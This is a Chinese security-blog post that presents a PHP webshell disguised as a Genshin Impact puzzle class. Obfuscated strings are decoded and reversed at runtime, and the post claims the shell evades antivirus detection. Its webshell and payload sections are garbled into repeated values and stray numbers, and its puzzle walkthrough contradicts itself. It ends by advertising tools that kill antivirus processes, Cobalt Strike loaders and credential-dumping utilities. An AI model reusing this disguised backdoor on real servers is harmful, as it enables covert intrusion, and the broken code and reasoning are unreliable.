点击上方蓝字关注我们
现在只对常读和星标的公众号才展示大图推送,建议大家能把星落安全团队“设为星标”,否则可能就看不到了啦!
背景介绍
来源:先知社区,作者:Werqy3
利用稻妻雷元素方块阵
《原神》中的稻妻雷元素方块阵是一个解谜游戏下面是示例代码:
classInazumaPuzzle{
private $blockA = 0;
private $blockB = 0;
private $blockC = 0;
private $blockD = 0;
private $MAX_ENUM = 2;
private $MIN_ENUM = 0;
public function__construct() {
$this->blockA = 2;
$this->blockB = 0;
$this->blockC = 0;
$this->blockD = 2;
}
private functionsetBackBlock($block) {
$setType = $this->MIN_ENUM;
$maxType = $this->MAX_ENUM;
switch($block) {
case 'A':
if($this->blockA == $maxType) {
$this->blockA = $setType;
return true;
} else {
return false;
}
case 'B':
if($this->blockB == $maxType) {
$this->blockB = $setType;
return true;
} else {
return false;
}
case 'C':
if($this->blockC == $maxType) {
$this->blockC = $setType;
return true;
} else {
return false;
}
case 'D':
if($this->blockD == $maxType) {
$this->blockD = $setType;
return true;
} else {
return false;
}
default:
throw new Exception("bad_args", 1);
}
}
private functionhit($blockIdx) {
global $text;
$text = urldecode("%6e%69%6c%72%65%70%5f%46%46%49%44");
switch($blockIdx) {
case "A":
if(!$this->setBackBlock("A")) {
$this->blockA += 1;
}
if(!$this->setBackBlock("B")) {
$this->blockB += 1;
}
break;
case "B":
if(!$this->setBackBlock("A")) {
$this->blockA += 1;
}
if(!$this->setBackBlock("B")) {
$this->blockB += 1;
}
if(!$this->setBackBlock("C")) {
$this->blockC += 1;
}
break;
case "C":
if(!$this->setBackBlock("B")) {
$this->blockB += 1;
}
if(!$this->setBackBlock("C")) {
$this->blockC += 1;
}
if(!$this->setBackBlock("D")) {
$this->blockD += 1;
}
break;
case "D":
if(!$this->setBackBlock("C")) {
$this->blockC += 1;
}
if(!$this->setBackBlock("D")) {
$this->blockD += 1;
}
break;
default:
throw new Exception("bad_args", 1);
}
}
public function__AFG50CE4_RG1() {
global $puzz_writeup;
if(count($puzz_writeup) === 0) throw new Exception("Invalid WriteUP",1);for($i = 0; $i < count($puzz_writeup);
// bcdufvcf%00
$i++) {
if(strcmp($puzz_writeup[$i],"A") !== 0 and strcmp($puzz_writeup[$i],"B") !== 0 and strcmp($puzz_writeup[$i]
,"C") !== 0 and strcmp($puzz_writeup[$i],"D") !== 0) die("笨蛋笨蛋笨蛋笨蛋!!~ 都...都跟你说了答案里只能有ABCD的......");
}
for($i = 0; $i < count($puzz_writeup); $i++) $this -> hit($puzz_writeup[$i]);
global $userans;
$userans =$this ->blockA + $this-> blockB + $this -> blockC+ $this -> blockD;
}
public functiongetLockerStatus() {
global $text;$text =strrev($text);
if($this -> blockA ===$this -> blockB and $this -> blockA === $this -> blockC and $this -> blockA === $this -> blockD) return true;
else return false;
}
}
functionpause($obj) {
global $appor5nnb;
if(!$appor5nnb -> getLockerStatus()) die();
return $obj;
}
根据InazumaPuzzle类的构造函数,方块的初始状态如下:
blockA = 2
blockB = 0
blockC = 0
blockD = 2
每个方块的状态值可以循环从0到2(即最小值为0,最大值为2)。
setBackBlock() 方法的作用
setBackBlock()方法用于尝试将指定方块重置为其最小状态(即0)。如果该方块已经处于最大状态(即2),则它可以被重置为最小状态并返回true;否则它不会改变,并返回false。
hit() 方法的行为
hit()方法接受一个方块标识符(如"A"、"B"、"C"或"D"),然后执行以下操作:
对于点击的方块及其关联的方块调用setBackBlock()。
如果setBackBlock()返回false,则相应方块的状态加1。
具体来说:
点击A:尝试重置A和B,若不能重置,则它们各自加1。
点击B:尝试重置A、B和C,若不能重置,则它们各自加1。
点击C:尝试重置B、C和D,若不能重置,则它们各自加1。
点击D:尝试重置C和D,若不能重置,则它们各自加1。
解析输入序列 ABBCCD
现在我们来按照给定的输入序列ABBCCD一步一步地看每个点击对方块状态的影响:第一步:点击 A
尝试重置A(当前状态为2),成功重置为0。
尝试重置B(当前状态为0),失败,因此B变为1。
结果:blockA = 0, blockB = 1, blockC = 0, blockD = 2
第二步:点击 B
尝试重置A(当前状态为0),失败,因此A变为1。
尝试重置B(当前状态为1),失败,因此B变为2。
尝试重置C(当前状态为0),失败,因此C变为1。
结果:blockA = 1, blockB = 2, blockC = 1, blockD = 2
第三步:再次点击 B
尝试重置A(当前状态为1),失败,因此A变为2。
尝试重置B(当前状态为2),成功重置为0。
尝试重置C(当前状态为1),失败,因此C变为2。
结果:blockA = 2, blockB = 0, blockC = 2, blockD = 2
第四步:点击 C
尝试重置B(当前状态为0),失败,因此B变为1。
尝试重置C(当前状态为2),成功重置为0。
尝试重置D(当前状态为2),成功重置为0。
结果:blockA = 2, blockB = 1, blockC = 0, blockD = 0
第五步:再次点击 C
尝试重置B(当前状态为1),失败,因此B变为2。
尝试重置C(当前状态为0),失败,因此C变为1。
尝试重置D(当前状态为0),失败,因此D变为1。
结果:blockA = 2, blockB = 2, blockC = 1, blockD = 1
第六步:点击 D
blockA = 2
blockB = 0
blockC = 0
blockD = 2
0
最终,所有方块的状态都变成了2,满足了getLockerStatus()方法中的条件,即所有方块的状态相同,因此返回true,表示谜题被正确解开。
结合稻妻雷元素方块阵的webshell
blockA = 2
blockB = 0
blockC = 0
blockD = 2
1
payload:
blockA = 2
blockB = 0
blockC = 0
blockD = 2
2
免杀效果
微步说很安全
相关地址
圈子介绍
博主介绍:
目前工作在某安全公司攻防实验室,一线攻击队选手。自2022-2024年总计参加过30+次省/市级攻防演练,擅长工具开发、免杀、代码审计、信息收集、内网渗透等安全技术。
目前已经更新的免杀内容:
部分免杀项目源代码
一键击溃360+核晶
一键击溃windows defender
一键击溃火绒进程
CobaltStrike4.9.1二开
CobaltStrike免杀加载器
数据库直连工具免杀版
aspx文件自动上线cobaltbrike
jsp文件自动上线cobaltbrike
哥斯拉免杀工具 XlByPassGodzilla
冰蝎免杀工具 XlByPassBehinder
冰蝎星落专版 xlbehinder
正向代理工具 xleoreg
反向代理工具xlfrc
内网扫描工具 xlscan
CS免杀加载器 xlbpcs
Todesk/向日葵密码读取工具
导出lsass内存工具 xlrls
绕过WAF免杀工具 ByPassWAF
等等...
往期推荐
1.
3
4.
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...